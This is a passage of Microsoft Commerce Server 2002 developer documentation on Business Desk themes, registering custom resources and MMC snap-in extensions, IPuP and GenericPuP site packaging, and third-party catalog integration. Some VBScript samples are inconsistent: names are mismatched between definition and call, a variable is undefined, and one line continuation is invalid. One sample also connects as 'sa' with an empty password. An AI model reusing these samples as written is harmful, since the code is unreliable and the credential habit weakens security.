The files Include\bizdesk.css and Include\navtree.css are interfaces to style sheet files in the Include\styles folder. The default theme is implemented by the files Default_bizdesk.css and Default_navtree.css, and the high-contrast theme is implemented by the files Hicont_bizdesk.css and Hicont_navtree.css.

You can change the appearance of Business Desk in two ways. The first way, which is recommended only for very minor changes, is to make modifications to the existing style sheet files for either the default or high-contrast themes.

The second way is to introduce an entirely new theme. You can create new themes by using following the steps, which are also included as comments in the ASP file Welcome.asp:

  1. Make copies of the pair of style sheet files that will provide the best starting point for developing your own theme. Typically, this will be the files Default_bizdesk.css and Default_navtree.css. The copies must be named using a common prefix that you choose. For example, Graytheme_bizdesk.css and Graytheme_navtree.css, for a grayscale theme.
  2. Modify the styles in the new files to your liking. It is probably best to change only colors, borders, and fonts.
  3. Add a new option element in the appropriate location in the ASP file Welcome.asp (look for where these instructions are repeated in that file). The value of the value attribute must be set to the file name prefix you have chosen; to continue the earlier example, you would set the value attribute to graytheme_. The data for the option element should be set to the theme name you want displayed in the drop-down control on the home page, perhaps "Shades of Gray."

For more information about the styles defined in the style sheet files, see Style Sheet Reference.

Important

  • Extreme care should be exercised when changing styles because undesired effects might occur in other areas of Business Desk.


Integrating Custom Resources

A Microsoft Commerce Server 2002 resource is a software package that provides functionality to the applications in a Commerce Server site, and that needs to expose one or more configuration options to a system administrator. Given the latter requirement, the most obvious choice for how to expose the configuration options is through Commerce Server Manager. This section describes how to integrate a custom resource that you develop into Commerce Server Manager so that it can be administered in the same way that other Commerce Server resources are administered.

Another important aspect of the integration process is the enabling of easy deployment of the particular configuration settings using Commerce Server Site Packager. Depending on the complexity of the configuration data, and on decisions regarding where this configuration data is maintained, the deployment aspects of integration range from effortless to the implementation of a particular Component Object Model (COM) interface.

This section contains:

  • Adding a Custom Resource. Describes the steps required to configure the Administration database so that the configuration data associated with a custom resource can be maintained within it.
  • Levels of Integration for a Custom Resource. Describes the different levels of integration that are available to developers of custom resources.
  • Other Sources of Information About Microsoft Management Console. Provides information about where to learn more about the Microsoft Management Console (MMC), including more information about how to build MMC snap-in extensions.


Adding a Custom Resource

The process of adding a custom resource, and its corresponding configuration values, to the Administration database is a two-step process. First, the schema for the custom resource and its properties must be defined. Second, an instance of the custom resource and its particular property values must be added.

The first step consists of adding rows to the schema tables: SystemProps and ExtendedProps. The second step consists of adding corresponding rows to the three resource instance tables: ResourceProps, Resources, and SiteResources.

This section provides details regarding how these rows should be added.

This section contains:

  • Modifying the Resource Schema Tables. Describes how the resource schema tables should be modified as the first step in adding a custom resource and its properties to the Administration database.
  • Modifying the Resource Instance Tables. Describes how the resource instance tables should be modified as the second step in adding a custom resource and its properties to the Administration database.


Modifying the Resource Schema Tables

When a custom resource is added for management within Commerce Server Manager it is necessary to add new rows to the SystemProps and ExtendedProps tables in the Administration database (MSCS_Admin). New rows in the SystemProps table correspond to new resources. New rows in the ExtendedProps table correspond to properties associated with the new resources.

For more information about the columns of the SystemProps and ExtendedProps tables, see SystemProps Table and ExtendedProps Table, respectively.

The Site Status sample in the Commerce Server 2002 Software Development Kit (SDK) includes a pair of files that show one way to add a row representing a new resource to the SystemProps table. The file SiteStatusInit.sql includes the following SQL command, which inserts a new row and initializes the required column values (lines wrapped here for readability):

IF NOT EXISTS(SELECT s_ClassName FROM SystemProps
              WHERE s_ClassName = 'MSCS_SDKSiteStatus')
insert into SystemProps (s_Name, s_ClassName,
                         s_ResourceType, f_ResourceFlags,
                         f_PupFlags, s_ProgIDSnapin)
                  VALUES('', 'MSCS_SDKSiteStatus',
                         'SDKSiteStatus', 6,
                         0, 'CommerceSDK.SiteStatus')

The file InstallSiteStatus.vbs provides an example of one way to run the previous SQL command:

Dim WshShell
Set WshShell = Wscript.CreateObject("Wscript.Shell")
sCmdLine = "osql /S (local) /U sa /P /d MSCS_Admin /i SiteStatusInit.sql"
WshShell.Run sCmdLine, 1, True

The file SiteStatusInit.sql in the Site Status sample in the SDK also includes several SQL commands for adding property schema information to the ExtendedProps table. The following code excerpt shows one of the three properties added in this file (lines wrapped here for readability):

IF NOT EXISTS(SELECT s_PropertyName FROM ExtendedProps
              WHERE s_PropertyName = 's_AppName')
insert into ExtendedProps VALUES ('SDKSiteStatus', 's_AppName',
                                  0, 1, 0,
                                  'SDK SiteStatus Application Name',
                                  8200, '', 's_AppName')


Modifying the Resource Instance Tables

When a new resource is being added for management within Commerce Server Manager it is necessary to add new rows to the ResourceProps, Resources, and SiteResources tables in the Administration database (MSCS_Admin). Taken together, new rows in these tables define a particular instance of a new resource, allowing Commerce Server Manager to display the new resource in the correct location within the scope-pane hierarchy.

These three tables should only be modified using the administration objects GlobalConfig and SiteConfig. Do not modify them directly in SQL Server Enterprise Manager or using SQL scripts.

For more information about the columns of the ResourceProps, Resources, and SiteResources tables, see ResourceProps Table, Resources Table, and SiteResources Table, respectively.

Depending on whether the new resource is a global resource or a site resource, a different mechanism is used to migrate values already added to the SystemProps and ExtendedProps tables into these three tables.

The Site Status sample in the Commerce Server 2002 Software Development Kit (SDK) includes a file named InstallSiteStatus.vbs. This file provides an example of how the SiteConfig object is used to migrate the table values, resulting in a new resource (and corresponding snap-in extension) appearing within the Site Resources folder of the named site ("Retail" in this example). The following code, modified slightly from how it appears in the file InstallSiteStatus.vbs, shows how to use the SiteConfig object in this way:

SSite5Name = "Retail"
sResourceName = "Site Open/Close Applications"

' Initialize the SiteConfig to the selected site.
Dim oSiteCfg
Set oSiteCfg = CreateObject("Commerce.SiteConfig")
oSiteCfg.Initialize sSiteName

' Add the SiteStatus resource to the resource tables.
' Note: The string "MSCS_SDKSiteStatus" must match the
'       corresponding s_ClassName value in the SystemProps table.
oSiteCfg.CreateComponentConfig sResourceName, "MSCS_SDKSiteStatus"
oSiteCfg.Fields(sResourceName).Value.Fields("s_Description") = _
                                            "SDK Site Status Resource"
oSiteCfg.SaveConfig
Set oSiteCfg = Nothing

To add a new resource to the Global Resources within Commerce Server Manager, you only need to change the example as follows (significant changes are shown in bold font):

sResourceName = "Site Open/Close Applications"

' Initialize the GlobalConfig to the selected site.
Dim oGlobalCfg
Set oGlobalCfg = CreateObject("Commerce.GlobalConfig")
oGlobalCfg.Initialize  ' no site name

' Add the SiteStatus resource to the resource tables.
' Note: The string "MSCS_SDKSiteStatus" must match the
'       corresponding s_ClassName value in the SystemProps table.
oGlobalCfg.CreateServiceConfig sResourceName, "MSCS_SDKSiteStatus"
oGlobalCfg.Fields(sResourceName).Value.Fields("s_Description") = \
                                            "SDK Site Status Resource"
oGlobalCfg.SaveConfig
Set oGlobalCfg = Nothing


Levels of Integration for a Custom Resource

There are three different levels of integration at which a custom resource can engage Commerce Server Manager. These levels are distinguished by a trade-off between the development effort and the level of customization. The three levels of integration are as follows, shown in order of least development effort to greatest development effort:

  1. A generic resource, which can be implemented simply by adding appropriate rows to certain tables within the Administration database.
  2. A generic resource with a custom user interface. The user interface is implemented as a Microsoft Management Console (MMC) snap-in extension that extends Commerce Server Manager.
  3. A resource with a custom user interface, which stores its configuration values somewhere other than the Administration database.

When using the first two levels of integration, the configuration values for your resource are stored in the Administration database, and even using the third level, some of your configuration values may be stored in the Administration database. If you store the configuration values for your resource in the Administration database, and your Web pages need to access one or more of these values frequently, you should consider caching a copy of these values in memory.

The SiteConfig and GlobalConfig objects should be used to access configuration values stored in the Administration database. You cannot store these objects at the application scope because they use apartment threading. You should copy the frequently accessed values into a Dictionary object, and make the Dictionary object accessible through the IIS Application object.

This section discusses further details of these three levels of integration.

This section contains:

  • Using the Generic Properties Dialog Box. Provides additional information about the integration approach that requires the least development effort.
  • Integrating a Custom Snap-in Extension. Provides additional information about an integration approach that offers a customized user interface while preserving some of the ease-of-use advantages of generic resource integration.
  • Packaging Other Data. Provides additional information about the integration approach that allows configuration data to be stored somewhere other than the Administration database, yet still allows the resource to use Commerce Server Site Packager.


Using the Generic Properties Dialog Box

A generic resource, which can be implemented simply by adding appropriate rows to certain tables within the Administration database, has the following characteristics:

  • The configuration data for a generic resource can be changed using the Generic Resource dialog box in Commerce Server Manager. This dialog box presents a generic interface through which the configuration values of a generic resource can be changed. This eliminates the need to develop a user interface for configuring a new resource.
  • The configuration data is maintained within this database, and consequently, it is automatically packaged for deployment by Commerce Server Site Packager.
  • The configuration data can also be accessed and altered programmatically using the Commerce Server administration objects GlobalConfig, SiteConfig, and SiteConfigReadOnly.

This level of integration involves the least development effort, consisting of adding the rows to appropriate tables in the Administration database. For more information about how to add these rows, see Adding a Custom Resource.


Integrating a Custom Snap-in Extension

A resource with a custom user interface, which requires the development of a Microsoft Management Console (MMC) snap-in extension, has the following characteristics:

  • The configuration data for this level of integration is administered using a custom MMC snap-in extension that extends the MMC node corresponding to the new resource.
  • The configuration data is still maintained in the Administration database, preserving the ease of deployment advantages that that choice offers.
  • The configuration data can also be accessed and altered programmatically using the Commerce Server administration objects: GlobalConfig, SiteConfig, and SiteConfigReadOnly. For more information about these objects, see GlobalConfig Object, SiteConfig Object, and SiteConfigReadOnly Object, respectively.
  • The MMC snap-in extension should only use the Commerce Server administration objects, GlobalConfig, SiteConfig, and SiteConfigReadOnly, to display and change the configuration data in response to user interaction.
  • The ProgID of the snap-in extension is stored in the s_ProgIDSnapIn column of the Resources table in the Administration database. If the value of this column in the row for your resource is incorrect the Generic Resource dialog box may be invoked instead of your snap-in extension.

This section provides additional details about integrating a custom MMC snap-in extension into Commerce Server Manager.

This section contains:

  • Commerce Server Manager NodeType GUIDs. Provides details regarding specific globally unique identifiers (GUID) needed to extend the Commerce Server Manager snap-in.
  • System Registry Modifications. Describes the system registry modifications required to extend the Commerce Server Manager snap-in.
  • Working with the Clipboard. Describes additional information about Commerce Server Manager snap-in data provided to the new snap-in extension using Microsoft Clipboard.


Commerce Server Manager NodeType GUIDs

The file cssnapin.h defines the NodeType globally unique identifiers (GUID) used by the Microsoft Management Console (MMC) snap-in. They are also shown in the following table with their corresponding C++ constants and their data value.

The NodeType GUIDs in the first two rows are most significant in terms integrating an MMC snap-in extension associated with a new resource. If the new resource is global, the group resources GUID is required (first row), and if the new resource is associated with a specific site, the site resources GUID is required. The other NodeType GUIDs shown in the table are not significant in this context.

NodeType GUID Constants and Values | Description
CSnapInGUID_NODETYPE_Group_Resources 1503A832-6945-11D2-AFF4-00c04F8670E4 | Microsoft Commerce Server 2002 Group Resources Extend this node to add a new global resource.
CSnapInGUID_NODETYPE_Resource 1503A834-6945-11D2-AFF4-00c04F8670E4 | Microsoft Commerce Server 2002 Resource Extend this node under the appropriate site to add a new site resource.
CSnapInGUID_NODETYPE_Root 1503A830-6945-11D2-AFF4-00C04F8670E4 | Microsoft Commerce Server 2002
CSnapInGUID_NODETYPE_Group 1503A831-6945-11D2-AFF4-00C04F8670E4 | Microsoft Commerce Server 2002 Groups
CSnapInGUID_NODETYPE_Sites 1503A833-6945-11D2-AFF4-00C04F8670E4 | Microsoft Commerce Server 2002 Sites
CSnapInGUID_NODETYPE_Site 1503A835-6945-11D2-AFF4-00C04F8670E4 | Microsoft Commerce Server 2002 Site
CSnapInGUID_NODETYPE_Site_Resources 1503A836-6945-11D2-AFF4-00C04F8670E4 | Microsoft Commerce Server 2002 Site Resources

The file cssnapin.h also defines the following NodeType GUIDs:

Constant: CSnapInGUID_NODETYPE_Addresses
GUID: 1503A837-6945-11D2-AFF4-00C04F8670E4
Constant: CSnapInGUID_NODETYPE_Address
GUID: 1503A838-6945-11D2-AFF4-00C04F8670E4
Constant: CSnapInGUID_NODETYPE_AddrItem
GUID: 1503A839-6945-11D2-AFF4-00C04F8670E4
Constant: CResourceNodeItemGUID_NODETYPE
GUID: FAEBE804-5362-4F79-8353-34E1D1DC4D11
Constant: CWebServerNodeItemGUID_NODETYPE
GUID: 2CB5E907-F79A-4b11-AD24-9E3808B7B387
Constant: CSnapInGUID_NODETYPE_Resource_NNSE
GUID: A3DF131F-2075-463E-B8DA-74B31365161E


System Registry Modifications

When adding Microsoft Management Console (MMC) extension snap-ins it is necessary to make certain system registry modifications. These include the normal Component Object Model (COM) entries in the HKEY_CLASSES_ROOT registry key, as well as the MMC-specific entries in the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\MMC\\NodeTypes and ...\\MMC\\SnapIns registry keys.

If the new extension snap-in will have child nodes exposed in the scope pane, it is also necessary to add the GUID corresponding to the new extension snap-in to the Extension/NameSpace key of the appropriate NodeType key in the system registry.

Depending on whether the new extension snap-in corresponds to a global resource or a site resource, it will be necessary to modify either the "Microsoft Commerce Server 2002 Enterprise Edition Group Resources" or the "Microsoft Commerce Server 2002 Enterprise Edition Resource" NodeType registry entry. For more information about the corresponding NodeType GUIDs, see the first two rows in the table in Commerce Server Manager NodeType GUIDs.

The Site Status sample in the Commerce Server 2002 Software Development Kit (SDK) performs these registry modifications in the file Registry.cpp, and uses some data type information provided in the file Extend.h. The following code excerpt shows the source code that performs these modifications. The excerpt shows a pre-initialized array of EXTENDER_NODE structures, defined in the file Extend.h, and designed to perform a name space extension of the site resources, due to the GUID supplied for the guidNode structure member (unique aspect shown in bold font). To make the same system registry extension for an extension snap-in being added as a global resource, the first component of that GUID would have to be set to 0x1503a832. (The array in the following code excerpt contains one actual entry and one dummy entry, the latter of which is used for loop termination.)

// List all of the nodes that we extend.
EXTENDER_NODE _NodeExtensions[] = {
    {
        // Extension type:
        NameSpaceExtension,
        // "Microsoft Commerce Server 4.0 Site Resources" guid:
        {0x1503a834, 0x6945, 0x11d2,
            { 0xaf, 0xf4, 0x0, 0xc0, 0x4f, 0x86, 0x70, 0xe4 } },
        // CLSID_COpenCloseExtension guid:
        {0xa5ce2b5a, 0x2259, 0x485d,
            { 0x9c, 0x11, 0xa0, 0x20, 0xb7, 0xc3, 0x8e, 0x2f } },
        // Description:
        _T("Commerce 2000 Resource Extension Open/Close sample")
    },

    // Dummy entry for loop termination logic.
    {DummyExtension, NULL, NULL, NULL}
};

The following excerpt shows the for loop that processes the array shown in the previous excerpt. It adds the GUID and description stored in the guidExtension and szDescription structure members as a key/value pair in the Extensions/NameSpace key of the MMC/NodeType entry corresponding to the GUID stored in the guidNode structure member.

Note that the loop terminates when a NULL description is found, as is the case in the last element in the array.

    // register each of the node extensions
    for (pNodeExtension = &(_NodeExtensions[0]) ;
         *pNodeExtension->szDescription ;
         pNodeExtension++)
    {
        hr = StringFromCLSID(pNodeExtension->guidNode, &wszExtendCLSID);
        _tcscpy(szKeyBuf, _T("SOFTWARE\\Microsoft\\MMC\\NodeTypes\\"));
        _tcscat(szKeyBuf, wszExtendCLSID);

        switch (pNodeExtension->eType) {
        case NameSpaceExtension:
            _tcscat(szKeyBuf, _T("\\Extensions\\NameSpace"));
            break;
        default:
            break;
        }

        // Create and open key and subkey.
        long lResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE ,
            szKeyBuf,
            0, NULL, REG_OPTION_NON_VOLATILE,
            KEY_ALL_ACCESS, NULL,
            &hKey, NULL) ;

        if (lResult != ERROR_SUCCESS)
        {
            return FALSE ;
        }

        hr = StringFromCLSID(pNodeExtension->guidExtension,
                             &wszNodeCLSID);
        assert(SUCCEEDED(hr));

        // Set the Value.
        if (pNodeExtension->szDescription != NULL)
        {
            RegSetValueEx(hKey, wszNodeCLSID, 0, REG_SZ,
                          (BYTE *)pNodeExtension->szDescription,
                          (_tcslen(pNodeExtension->szDescription)+1)
                                                     *sizeof(_TCHAR));
        }

        RegCloseKey(hKey) ;

        CoTaskMemFree(wszExtendCLSID);
        CoTaskMemFree(wszNodeCLSID);
    }


Working with the Clipboard

Certain Clipboard formats must be supported by Microsoft Management Console (MMC) snap-ins so that they can pass data back and forth with the MMC framework. The Site Status MMC Extension Snap-In sample in the Commerce Server 2002 Software Development Kit (SDK) illustrates the Clipboard formats that must be supported. This sample defines the required Clipboard formats within four files: compdata.h, compdata.cpp, dataobj.h, and dataobj.cpp. The header files contain the definitions of the formats, and the source files show the registration of those formats. Search these files for the string "clipboard" to find the pertinent code.

The following code excerpt shows how to retrieve the name of the site associated with the sample extension snap-in from the Clipboard and place it into the bstrSiteName variable.

    // Get the site name for this resource from
    // the clipboard "CCF_MSCSAPPNAME" in global memory
    stgmedium.hGlobal = GlobalAlloc(0, sizeof(BSTR));
    if (NULL == stgmedium.hGlobal)
        return GetLastError();
    hr = lpDataObject->GetDataHere(&formatetc, &stgmedium);
    if (!FAILED(hr))
        bstrSiteName = *((LPCOLESTR *)stgmedium.hGlobal);
    GlobalFree(stgmedium.hGlobal);


Packaging Other Data

A resource that has a custom user interface and stores its configuration data somewhere other than the Administration database has the following characteristics:

  • The configuration data is stored somewhere other than the Commerce Server Administration database, such as the system registry, an initialization (.ini) file, or perhaps in a different database.
  • In order to use Commerce Server Site Packager, new resources that are integrated at this level must include a Component Object Model (COM) object that implements the IPuP interface.
  • The configuration data must be administered using a custom Microsoft Management Console (MMC) snap-in extension. This is because the configuration data is not stored in the Administration database, so it is not possible to use the Generic Resource dialog box.
  • Because the configuration data is not stored in the Administration database, it cannot be accessed and altered programmatically using the Commerce Server administration objects GlobalConfig, SiteConfig, and SiteConfigReadOnly. For more information about these objects, see GlobalConfig Object, SiteConfig Object, and SiteConfigReadOnly Object, respectively. You must develop some other solution for programmatic access to the configuration data.
  • It is possible to provide a mixed solution, where some relatively simple configuration data is stored in the Administration database, allowing access through the Commerce Server administration objects, and where other more complex data is stored in other databases or facilities. Many of the resources included with Commerce Server work this way.

This section provides additional details about implementing the IPuP interface, allowing the resource to pack it own data for deployment.

This section contains:

  • Exporting Data to the Package. Provides additional details about the process of exporting data into a site package using Commerce Server Site Packager.
  • Importing Data from the Package. Provides additional details about the process of importing data from a site package.
  • Using the GenericPuP Object. Provides information about a general-purpose object that implements the IPuP interface, which can be used in certain circumstances.


Exporting Data to the Package

You can develop a custom resource in such a way that it can place arbitrary data, in the form of one or more files, in a site package and have those files unpacked on a different computer. In order for this arbitrary set of files to be placed in a site package, a custom resource must include a Component Object Model (COM) object that implements the Export method of the IPuP interface. Commerce Server Site Packager calls this method, providing the name of a temporary file or folder where the custom resource must place the file(s) to be packaged. Once the Export method returns, Commerce Server Site Packager will add the file (or files) to the package.

The ProgID of the object that implements the IPuP interface must be placed into the s_ProgidSnapIn column of the SystemProps table in the Administration database (the ProgID is also added to the s_ProgIDSnapIn column of the Resources table when the SiteConfig object is used to migrate configuration values). When the Commerce Server Site Packager encounters this ProgID in the course of packaging the site, it will instantiate the corresponding object and call the Export method of its IPuP interface.

For more information about the Export method, see IPuP::Export.


Importing Data from the Package

You can develop a custom resource in such a way that it can place arbitrary data, in the form of one or more files, in a site package and have those files unpacked on a different computer. In order for this arbitrary set of files to be retrieved from a site package, a custom resource must include a Component Object Model (COM) object that implements the Import method of the IPuP interface. Commerce Server Site Packager calls this method, providing the name of a temporary file or folder where the Commerce Server Site Packager has placed the file(s) to be unpacked. The Import method must do something with this file or files before returning, such as moving them to another location or moving their contents into a database. Once the Import method returns, Commerce Server Site Packager will delete the file (or files) from the temporary location.

The ProgID of the object that implements the IPuP interface must be placed into the s_ProgidSnapIn column of the SystemProps table in the Administration database (the ProgID is also added to the s_ProgIDSnapIn column of the Resources table when the SiteConfig object is used to migrate configuration values). When Commerce Server Site Packager encounters this ProgID in the course of unpacking the site, it will instantiate the corresponding object and call the Import method of its IPuP interface.

For more information about the Import method, see IPuP::Import.

If the custom resource being unpacked is a site-level reference to a global resource, the Commerce Server Site Packager will call the CreateGroupResource method of the same IPuP interface before calling the Import method. This will provide the custom resource with the opportunity to create the global resource and return its name so that the site-level reference can refer to it. For more information about the CreateGroupResource method, see IPuP::CreateGroupResource.


Using the GenericPuP Object

The GenericPuP object is one of several objects included with Commerce Server that implement the IPuP interface. These objects are used to assist in packaging the existing Commerce Server resources. Specifically, the GenericPuP object is used to package the data associated with three resources: Campaigns, Transactions, and Transaction Config.

These three resources have generic requirements in terms of how their data gets packaged, and if your custom resource has similar, generic requirements, you may be able to use the GenericPuP object instead of developing a new object that implements the IPuP interface.

Note

  • The SDK sample "PuP Resource" in the SDK\Samples\Management folder is actually a version of the GenericPuP object. You might find it useful to study the source code or to modify it for your own purposes.

The GenericPuP object is designed to be able to package and unpack custom tables and data in a single SQL Server database. Several parameters control the execution of the GenericPuP object, including the names of the tables to package, and the names of SQL schema scripts to be executed when unpacking or deleting the custom data. These parameters exist as database entries in the Administration database. The remainder of this topic provides details about those entries and how they can be established.

This topic contains:

  • GenericPuP Database Entries
  • Parameter Usage During Processing
  • Loading GenericPuP SQL Scripts

GenericPuP Database Entries

In order to specify the use of the GenericPuP object, you must assign its ProgID (Commerce.GenericPup) to the s_ProgIDPUP column of appropriate row in the Resources table of the Administration database. Then you must establish the remaining database entries that will control the operation of the GenericPuP object for a particular resource: the Connection String, and the GenericPuP parameters.

Connection String

When the GenericPuP object is invoked to export or import data for a custom resource, it uses the passed resource name to look for the specific connection string in the set of properties associated with that resource. This connection string uses a pre-defined naming convention so that the GenericPuP object can find the connection string amongst the other properties associated with the custom resource. The syntax for the connection string propery name is: "connstr_db_<ResourceName>" where <ResourceName> is the name of the resource for which it is being invoked. There can be only one such connection string, so the GenericPuP object can only package or unpack data from one database.

Note

  • If you look in the s_PropertyName column of the ResourceProps table in the Administration database, you will see the three connection strings connstr_db_Transactions, connstr_db_TransactionConfig, and connstr_db_Campaigns, corresponding to the three standard resources that use the GenericPuP object.

GenericPuP Parameters

After retrieving the connection string, the GenericPuP object will retrieve its parameters from the s_PupParam1, s_PupParam2, and s_PupParam3 columns of the row for the corresponding resource in the Resources table of the Administration database. These three parameters contain the following information:

s_PUPParam1
Contains a comma-delimited list of names of the tables to be packaged and unpacked for the resource.

For example, the table list for the Transactions resource is "TransDimension,TransCategory".

s_PUPParam2
Contains a comma-delimited list of the names of the SQL schema scripts to execute when importing the resource. These scripts are used to create the proper schema prior to importing the data.

For example, the schema script list for the Transaction Config resource is "AppConfig,TaxAndShipping".

s_PUPParam3
Contains a comma-delimited list of the names of the SQL scripts to execute when deleting the resource. If the Delete method implemented by the GenericPuP object is invoked, it will execute these scripts to clean up the database tables associated with the corresponding resource.

For example, the delete script list for the Campaigns resource contains the single script name: "SchemaDrop".

The scripts associated with the parameters s_PUPParam2 and s_PUPParam3 exist in the txt_script column of the pupdbscripts table in the Administration database. The u_scriptname column contains the name of the script as it appears in the list specified by this parameter, and the other two columns in that table, iSiteID and iResourceID, exist to prevent script name clashes between different resources.

The SiteConfig object implements three methods, GetSQLScript, PutSQLScript, and DeleteSQLScript, for managing the scripts stored in the pupdbscripts table. For more information about these three methods, see SiteConfig.GetSQLScript, SiteConfig.PutSQLScript, and SiteConfig.DeleteSQLScript, respectively.

For examples of how to set up your resource configuration to use the GenericPup object see the file SiteCreate.vbs in the \SDK\Samples\Sitecreate folder of your Commerce Server installation directory. Follow the same steps as used by the three resources in that file that use the GenericPup object: Campaigns, Transactions, and Transaction Config.

If you are going to be deal with multiple files via the Import and Export APIs of the IPup object you need to set the f_PupFlags flag on the resource when you add the data of that resource to the systemprops table. A flag value of 1 signals directory and a 0 signals file. With a 1, the path passed to Export is an actual temp directory. The Export function is expected to place all of the data files it requires packed up into that directory. When the path is passed to Import (on the other end of the chain of events) it will be a directory containing all of those files. If f_PupFlags is 0 then the path passed is a complete file path and the Export API should open and write its data to be packed to this file. Import will get a temp file back in the path parameter that contains this data.

Parameter Usage During Processing

When the Export method implemented by the GenericPuP object is invoked to package data, it performs the following steps:

  1. Packages all of the data in the tables specified in the s_PUPParam1 column.
  2. Packages all of the SQL scripts specified in s_PUPParam2 and s_PUPParam3 columns.

When the Import method implemented by the GenericPuP object is invoked to unpack data, it performs the following steps:

  1. Executes the SQL schema scripts specified in the s_PUPParam2 column.
  2. Unpacks the data in the tables specified by the s_PUPParam1 column. The scripts executed in step 1 must have already established the appropriate tables and schema.

When the Delete method or the DeleteGroupResource method implemented by the GenericPuP object is invoked to delete resource data, it performs the following steps:

  1. Executes the SQL schema scripts specified in the s_PUPParam3 column.
  2. Deletes all scripts associated with the current resource from the pupdbscripts table of the Administration database.

Loading GenericPuP SQL Scripts

The following sample code demonstrates one way to load a SQL script from a text file into the txt_script column of the pupdbscripts table of the Administration database. This sample also establishes appropriate values in the other columns. This sample uses the PutSQLScript method of the SiteConfig object to perform the actual database manipulation:

' Define a routine that takes the following four parameters:
' 1) A reference to a SiteConfig object,
' 2) The name of a resource,
' 3) The name of a text file containing the SQL script to load, and,
' 4) The name by which the script will be known in the Admin database.
Sub LoadResourceDBScript(oSiteConfig, sResource, _
                         sFilePath, sScriptName)

    ' Declare variables and constants for text file access...
    Dim oFS, oFile, sScriptContents
    Const ForReading = 1
    Const TristateUseDefault = -2

    ' Read the script from the specified text file...
    Set oFS = CreateObject("Scripting.FileSystemObject")
    Set oFile = oFS.OpenTextFile(sFilePath, ForReading, _
                                 False, TristateUseDefault)
    sScriptContents = oFile.ReadAll()
    oFile.Close
    Set oFile = Nothing

    ' Use the passed SiteConfig object to create
    ' (or overwrite) a row in the pupdbscripts table...
    oSiteConfig.PutSQLScript sResource, sScriptName, _
                             sScriptContents
End Sub

' The following code calls the routine defined previously...

' Create the SiteConfig object...
Dim oSiteConfig
Set oSiteConfig = CreateObject("Commerce.SiteConfig")

' Initialize variables for the other
' parameters to LoadResourceScript...
Dim sResource, sFilePath, sScriptName
sResource = "Transactions"
sFilePath = "C:\temp\Requisition.sql"
sScriptName = "Requisition"

' Call the routine LoadResourceScript, previously defined...
LoadResourceScript oSiteCfgAdmin, sResource, _
                   sFilePath, sScriptName


Other Sources of Information About Microsoft Management Console

The Microsoft Developer Network (MSDN) online Web site includes many topics that discuss various aspects of Microsoft Management Console (MMC) snap-ins and extension snap-ins.

Building your extension snap-in using the Active Template Library (ATL) can simplify and speed development because the ATL will take care of a lot of the details for you.


Integrating a Third-Party Product Catalog

There are two general strategies for using existing product catalog data in Commerce Server 2002. You can migrate the data into the Commerce Server Product Catalog System, or you can integrate your existing or third-party catalog system with Commerce Server 2002 through its application programming interface (API), replacing the Product Catalog System. Choosing between these two approaches depends on a number of factors.

Integrating an existing catalog system with Commerce Server 2002 requires a programming effort to modify or replace components of Commerce Server and possibly components of your existing catalog system.

The most straightforward approach to data migration requires conversion of the existing data to Extensible Markup Language (XML) or comma-separated value (CSV) format. The difficulty of this conversion depends on the format and integrity of your existing data. The size and complexity of your product catalog data has a direct effect on the length of time needed to process the conversion. There are other approaches to migrating your existing product catalog data. You might decide to pursue a Microsoft BizTalk Server 2000 or Data Transformation Services (DTS) integration solution, or you might decide to transmit your product catalog data by using other protocols. The option you choose depends on your available resources and expertise. For more information about importing catalog data, see Importing an XML Catalog File and Importing a CSV Catalog File.

Integrating a third-party catalog with Commerce Server 2002 involves providing a pipeline component that does the work of the Commerce Server QueryCatalogInfo pipeline component for your existing catalog, and integration with the following Commerce Server components:

  • Integrating Third-Party Catalogs with Campaigns. Describes how to provide product data from your external product catalog to the Marketing component for evaluation.
  • Integrating Third-Party Catalogs with the Data Warehouse. Describes the Data Warehouse, and how to modify the Data Warehouse schema to match your catalog schema.
  • Integrating Third-Party Catalogs with Baskets. Describes how the Basket component receives detailed product information from the product catalog through the QueryCatalogInfo component, and how you replace this component with a pipeline component that will provide information from your existing catalog.
  • Integrating Third-Party Catalog Applications. Describes how to replace Commerce Server 2002 Catalog API calls in the Solution Sites in order to use them with your existing catalog system.
  • Integrating Third-Party Catalogs with Business Desk Catalog Modules. Describes how to modify Commerce Server Business Desk, which is a Web-based management system for the Product Catalog System, in order to use it to manage your existing catalog system.


Integrating Third-Party Catalogs with Campaigns

The ExpressionBuilder HTML Component (HTC) is used within the Commerce Server Business Desk Campaigns category to build expressions used for applying targeted discounts to products in your catalog. You use expressions to identify products that are eligible for discounts or are awarded by a discount. These expressions are named and saved in an XML representation in an expression store. Third-party catalogs must provide an XML profile that describes to the ExpressionBuilder the properties of products in the catalog.

You must replace the QueryCatalogInfo pipeline component with a functional equivalent that runs against your custom catalog system. Use this pipeline component to populate the Order dictionary with data from your external catalog in order to evaluate the expressions.

See Also

ExpressionBuilder

ExpressionEval Object


Integrating Third-Party Catalogs with the Data Warehouse

You must extend the following Data Warehouse processes for use with a third-party product catalog:

  • Define schema. The data schema must be defined appropriately by using the Commerce Server OLE DB provider. For more information, see Extending the Data Warehouse Logical Schema.
  • Import data. Catalog data is brought into the Data Warehouse by running the Product Catalog Data Import (Commerce Server) Data Transformation Services (DTS) task. You must create a custom script or application to import data from a third-party catalog into the Data Warehouse. For more information, see Importing Data into the Data Warehouse.
  • Prepare data for analysis. Before the data in the Data Warehouse can be analyzed, it is exported to an online analytical processing (OLAP) server to be stored in multidimensional cubes. For more information, see Preparing Data for Analysis with OLAP Server.
  • Modify or create reports. You need to modify or replace any reports that use product catalog data so that they can use third-party catalogs. For more information, see Creating Custom Reports.


Integrating Third-Party Catalogs with Baskets

When a user places an item in a basket, the product information for that item is transferred from the catalog database to the basket by the QueryCatalogInfo pipeline component. You must provide a pipeline component that will transfer product information from your existing catalog to the basket.

Note

  • If your existing catalog system is based on database queries and tables, you might be able to use the QueryProdInfoADO pipeline component, depending on the complexity of your data structure.

The substitute component must copy appropriate catalog data to each line item in the basket based on a product key (for example, the SKU). When the component copies this catalog data, it should prefix each written dictionary key with "_product_". For example, the description of the product would be copied to item._product_description. Typically, at a minimum, this written data should include _product_list_price. It could also include descriptions, tax codes, product weight, and so on.

If the SKU/key is not found in the catalog system, the component should write the key delete with a value of 1 onto the line item. The RequiredProdInfo pipeline component then handles the error condition.


Integrating Third-Party Catalog Applications

The Commerce Server Solution Sites interface directly with the Commerce Server Catalog Management System API in a few places. If these applications are to be used with an existing catalog system, you must replace all calls to the Commerce Server Catalog API with calls to the Catalog API from the third-party catalog.

